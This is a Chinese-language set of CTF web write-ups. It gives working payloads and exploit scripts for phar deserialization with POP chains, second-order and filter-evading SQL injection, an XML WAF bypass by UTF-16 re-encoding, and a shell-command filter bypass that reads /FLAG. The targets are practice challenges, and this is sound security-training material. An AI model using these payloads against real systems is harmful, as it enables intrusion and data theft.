一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

那么我们可以在linux环境下执行命令

iconv -f UTF-8 -t UTF-16BE 1.xml > 2.xml

然后上传即可获得flag


prize_p1

phar反序列化+php gc回收机制

<?php
highlight_file(__FILE__);
class getflag {
    function __destruct() {
        echo getenv("FLAG");
    }
}

class A {
    public $config;
    function __destruct() {
        if ($this->config == 'w') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            file_put_contents("./tmp/a.txt", $data);
        } else if ($this->config == 'r') {
            $data = $_POST[0];
            if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) {
                die("我知道你想干吗,我的建议是不要那样做。");
            }
            echo file_get_contents($data);
        }
    }
}
if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) {
    die("我知道你想干吗,我的建议是不要那样做。");
}
unserialize($_GET[0]);
throw new Error("那么就从这里开始起航吧");

审计代码,可以发现是反序列化,给了一个getflag类,可以读取flag;一个A类,里面可以读取文件和写入文件

过滤的关键词应该对应的是几种伪协议,getflag类也不能直接触发

不过phar并没有被过滤,既然有任意内容写入+任意文件读取+类,那就可以考虑phar反序列化

注意到最后有一个throw new Error,而__destruct的执行是在整个php脚本的最后,即类被销毁的时候,这里会因为前面的报错而无法执行,所以要利用到php的gc回收机制

那么综上所述,我们的思路就是先生成一个phar文件

这里实例化后要设置一个数组,一个为$a,一个为null,序列化的结果为a:2:{i:0;O:7:"getflag":0:{}i:1;N;},方便等会把$a的引用取消

<?php
class getflag {
}
$a=new getflag();
$a=array($a,null);
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); // 设置stub
$phar->setMetadata($a); // 将自定义的meta-data存入manifest,setMetadata()会将对象进行序列化
$phar->addFromString("test.txt", "test");
$phar->stopBuffering(); // 签名自动运算

接着要修改序列化的字符串来绕过抛出异常,这里要用更改引用的方式来触发gc绕过,用010打开并修改

image-20231117205854279

然后此时的phar包里面meta-data段都是明文,而且签名也需要再次更改

为了绕过过滤,我们需要对其进行gzip压缩并更改签名,这样子里面就都是乱码了

from hashlib import sha1
import gzip

with open('phar.phar', 'rb') as file:
    f = file.read()
s = f[:-28]  # 获取要签名的数据
h = f[-8:]  # 获取签名类型以及GBMB标识
new_file = s + sha1(s).digest() + h  # 数据 + 签名 + (类型 + GBMB)
f_gzip = gzip.GzipFile("1.phar", "wb")
f_gzip.write(new_file)
f_gzip.close()

接下来就是写入文件了,因为我们要把整个文件的内容作为参数的值传入,那么这里用python脚本来实现

先获得一下get请求的写入文件的序列化字符串

<?php
class A {
    public $config="w";
}
$a=new A();
echo serialize($a);
// O:1:"A":1:{s:6:"config";s:1:"w";}

然后写python脚本,来源:http://xilzy666.gitee.io/xilzy/2022/03/05/nss-prize1-2/

import requests
import re

url="http://node4.anna.nssctf.cn:28083/"

### 写入phar文件
with open("1.phar",'rb') as f:
    data1={'0[]':f.read()}                                    #注意这里要传数组,来绕过waf
    param1 = {0: 'O:1:"A":1:{s:6:"config";s:1:"w";}'}
    p1 = requests.post(url=url, params=param1,data=data1)
    #print(p1.text)

### 读phar文件,触发反序列化
param2={0:'O:1:"A":1:{s:6:"config";s:1:"r";}'}
data2={0:"phar://tmp/a.txt"}
p2=requests.post(url=url,params=param2,data=data2)
p2.encoding="utf-8"
flag=re.compile('NSSCTF\{.*?\}').findall(p2.text)      #用正则匹配匹配post包的response.text里的‘NSSCTF{xxxxxx}’
print(flag)

运行脚本即可获得flag


[October 2019]Twice SQL Injection

二次注入

进入题目,提供了一个注册功能和一个登录功能

随便注册一个账号,登录进去发现可以修改info,猜测查询的info内容会随着用户名改变

测试一下注入点

image-20231118235537231

更改info处可以发现一些符号传入会被转义

结合题目名称猜测存在二次注入,那应该是利用注册+登录的功能进行注入

测试发现是单引号闭合,注册username:1' union select database()#,密码任意

然后登录

image-20231118235955457

可以发现成功回显数据库名

那接下来就用同样的方式查表

1' union select group_concat(table_name) from information_schema.tables where database()=table_schema#

返回flag,news,users

查列名

1' union select group_concat(column_name) from information_schema.columns where table_name="flag"#

返回flag

查字段

1' union select group_concat(flag) from flag#

[广东强网杯 2021 团队组]love_Pokemon

rce

<?php
error_reporting(0);
highlight_file(__FILE__);
$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';

if(!file_exists($dir)){
    mkdir($dir);
}

function DefenderBonus($Pokemon){
    if(preg_match("/'| |_|\\$|;|l|s|flag|a|t|m|r|e|j|k|n|w|i|\\\\|p|h|u|v|\\+|\\^|\`|\~|\||\"|\<|\>|\=|{|}|\!|\&|\*|\?|\(|\)/i",$Pokemon)){
        die('catch broken Pokemon! mew-_-two');
    }
    else{
        return $Pokemon;
    }

}

function ghostpokemon($Pokemon){
    if(is_array($Pokemon)){
        foreach ($Pokemon as $key => $pks) {
            $Pokemon[$key] = DefenderBonus($pks);
        }
    }
    else{
        $Pokemon = DefenderBonus($Pokemon);
    }
}

switch($_POST['myfavorite'] ?? ""){
    case 'picacu!':
        echo md5('picacu!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'bulbasaur!':
        echo md5('miaowa!').md5($_SERVER['REMOTE_ADDR']);
        $level = $_POST["levelup"] ?? "";
    if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))){
            echo file_get_contents('./hint.php');
        }
        break;
    case 'squirtle':
        echo md5('jienijieni!').md5($_SERVER['REMOTE_ADDR']);
        break;
    case 'mewtwo':
        $dream = $_POST["dream"] ?? "";
        if(strlen($dream)>=20){
            die("So Big Pokenmon!");
        }
        ghostpokemon($dream);
        echo shell_exec($dream);
}

?> 

审计代码,看到一个hint.php,我们先尝试满足读取它的条件

首先是myfavorite=bulbasaur!,然后看下面的if判断语句if ((!preg_match('/lv100/i',$level)) && (preg_match('/lv100/i',escapeshellarg($level)))),很明显这里考的是escapeshellarg的特性

escapeshellarg

把字符串转码为可以在 shell 命令里使用的参数

escapeshellarg()将给字符串增加一个单引号并且能引用或者转码任何已经存在的单引号,这样以确保能够直接将一个字符串传入 shell 函数

而这个函数在处理超过 ASCII 码范围的字符的时候会直接过滤掉该字符,也就是会自动过滤掉不可见的字符

那么我们只需要用一个不可见字符绕过即可,这里用%81

payload:

myfavorite=bulbasaur!&levelup=lv%81100

f12,发现成功读取到hint.php

<?php $hint = 'flag is located in / , and NAME IS FLAG';?>

得到flag的路径为/FLAG

那么接下来就是思考如何rce得到底下的shell_exec进行命令执行

首先我们输入的参数dream的值长度要小于20,然后进行过滤匹配,那么取反异或之类应该是用不了了

过滤了大量字符,首先是空格,这里可以用%09来代替

然后是读取命令,翻了一下常规读取命令的字符好像都被ban了,这里要用od命令以八进制来读取

接下来是文件名,flag,通配符*?都被ban了,那只能考虑用[]通配了,由于黑名单中有A和L这两个字符,因此构造F[B-Z][@-Z]G,这样就能匹配上 ASCII 表中的@到Z之间的所有字符

payload:

myfavorite=mewtwo&dream=od%09/F[B-Z][@-Z]G

然后八进制解码一下即可得到flag

dump = "0000000 051516 041523 043124 030573 062464 033460 030067 026543 0000020 060546 030470 032055 034142 026542 033471 061471 032455 0000040 061145 030142 060462 032060 034067 076460 000012 0000055"
octs = [("0o" + n) for n in dump.split(" ") if n]
hexs = [int(n, 8) for n in octs]
result = ""
for n in hexs:
    if (len(hex(n)) > 4):
        swapped = hex(((n << 8) | (n >> 8)) & 0xFFFF)
        result += swapped[2:].zfill(4)
print(bytes.fromhex(result).decode())

[UUCTF 2022 新生赛]ezsql

sql注入

进入题目,给了个登录框,随便输入一下,发现回显了整个sql语句和结果

SELECT * FROM users WHERE passwd=('1') AND username=('1') LIMIT 0,1

直接在passwd处注入,发现我们的输入会被反转,尝试万能密码,注意闭合括号,善用python进行反转操作

?user=nimda&password=+--1=1 ro )'1

image-20231120110835707

成功回显

直接联合注入

判断回显位

?user=nimda&password=+-- 2,1 tceles noinu )'1-

image-20231120111401041

​ 回显只到2

查数据库名

+-- )(esabatad,1 tceles noinu )'1-

返回UUCTF

查表名,此时发现group和from中的ro被替换为空了,可以双写绕过

+--'FTCUU'=amehcs_elbat erehw selbat.amehcs_noitamrofni moorrf )eman_elbat(tacnoc_puoorrg,1 tceles noinu )'1-

返回flag,users

查列名

+-- 'galf'=eman_elbat erehw snmuloc.amehcs_noitamrofni moorrf )eman_nmuloc(tacnoc_puoorrg,1 tceles noinu )'1-

返回UUCTF

查字段

+-- galf moorrf )FTCUU(tacnoc_puoorrg,1 tceles noinu )'1-

得到flag


[SWPU 2018]SimplePHP

phar反序列化

进入题目,给了一个查看文件和一个上传文件的功能

查看文件处/file.php?file=存在任意文件读取

index.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'base.php';
?> 

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

可知flag在f1ag.php,不过我们不能直接读

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

设置了open_basedir在/var/www/html,这里可以看到实例化了一个Show类,用了file_exists函数,猜测有phar反序列化

function.php

<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

限制上传的文件类型为gif,jpeg,jpg,png

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?> 

确实存在反序列化,那么就是phar文件上传了,利用点在Test类的file_get方法中的file_get_contents,用这个可以读到f1ag.php

upload_file.php

<?php 
include 'function.php'; 
upload_file(); 
?> 
<html> 
<head> 
<meta charest="utf-8"> 
<title>文件上传</title> 
</head> 
<body> 
<div align = "center"> 
        <h1>前端写得很low,请各位师傅见谅!</h1> 
</div> 
<style> 
    p{ margin:0 auto} 
</style> 
<div> 
<form action="upload_file.php" method="post" enctype="multipart/form-data"> 
    <label for="file">文件名:</label> 
    <input type="file" name="file" id="file"><br> 
    <input type="submit" name="submit" value="提交"> 
</div> 

</script> 
</body> 
</html>

接下来构造pop链

C1e4r::__destruct -> Show::__toString -> Test::__get -> Test::get -> Test::file_get

构造phar包

<?php
class C1e4r
{
    public $test;
    public $str;
}
class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
}
$o=new C1e4r();
$o->str=new Show();
$o->str->str['str']=new Test();
$o->str->str['str']->params['source']="/var/www/html/f1ag.php";
@unlink('test.phar');   //删除之前的test.phar文件(如果有)
$phar = new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$phar->setMetadata($o); //写入meta-data
$phar->addFromString("test.txt", "test");  //添加要压缩的文件
$phar->stopBuffering();//签名自动计算

上传抓包改后缀为png

在查看文件处用伪协议

注意文件名被md5加密过了我们得copy逻辑下来自己生成一下,remote_addr就在页面右上角

<?php
$filename = md5("test.png"."223.104.51.43").".jpg";
echo($filename);
?>

payload:

/file.php?file=phar://upload/dcc6c867e1c692bd3eebb04855a90ad0.jpg

base64解码读取的内容即可


[FSCTF 2023]ez_php1

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$a = $_GET['b'];
$b = $_GET['a'];
if($a!=$b&&md5($a)==md5($b))
{
    echo "!!!";
    $c = $_POST['FL_AG'];
    if(isset($c))
    {
        if (preg_match('/^.*(flag).*$/', $ja)) {
            echo 'You are bad guy!!!';
        }
            else {
                echo "Congratulation!!";
                echo $hint1;
            }
    }
    else {
        echo "Please input my love FL_AG";
    }
} else{
    die("game over!");
}
?>

md5弱类型比较

payload:

GET: ?a=QNKCDZO&b=240610708
    
POST: FL_AG=

得到hint1:L0vey0U.php

<?php
highlight_file(__FILE__);
error_reporting(0);
include "globals.php";
$FAKE_KEY = "Do you love CTF?";
$KEY = "YES I love";
$str = $_GET['str'];
echo $flag;
if (unserialize($str) === "$KEY")
{
    echo "$hint2";
}
?>

本地生成一下序列化字符串

<?php
echo serialize("YES I love");
?>

payload:

/L0vey0U.php?str=s:10:"YES I love";

得到hint2:P0int.php

<?php
highlight_file(__FILE__);
error_reporting(0);
class Clazz
{
    public $a;
    public $b;

    public function __wakeup()
    {
        $this->a = file_get_contents("php://filter/read=convert.base64-encode/resource=g0t_f1ag.php");
    }
    public function __destruct()
    {
        echo $this->b;
    }
}
@unserialize($_POST['data']);

?>

很明显这里的属性a已经读取到flag了,我们要做的就是让属性b的值指向a来输出flag,也就是要引用赋值,让b=&a

exp:

<?php
class Clazz
{
    public $a;
    public $b;
    public function __construct()
    {
        $this->b = &$this->a;
    }
}
$a=new Clazz();
echo serialize($a);
?>

把输出的内容base64解码得到flag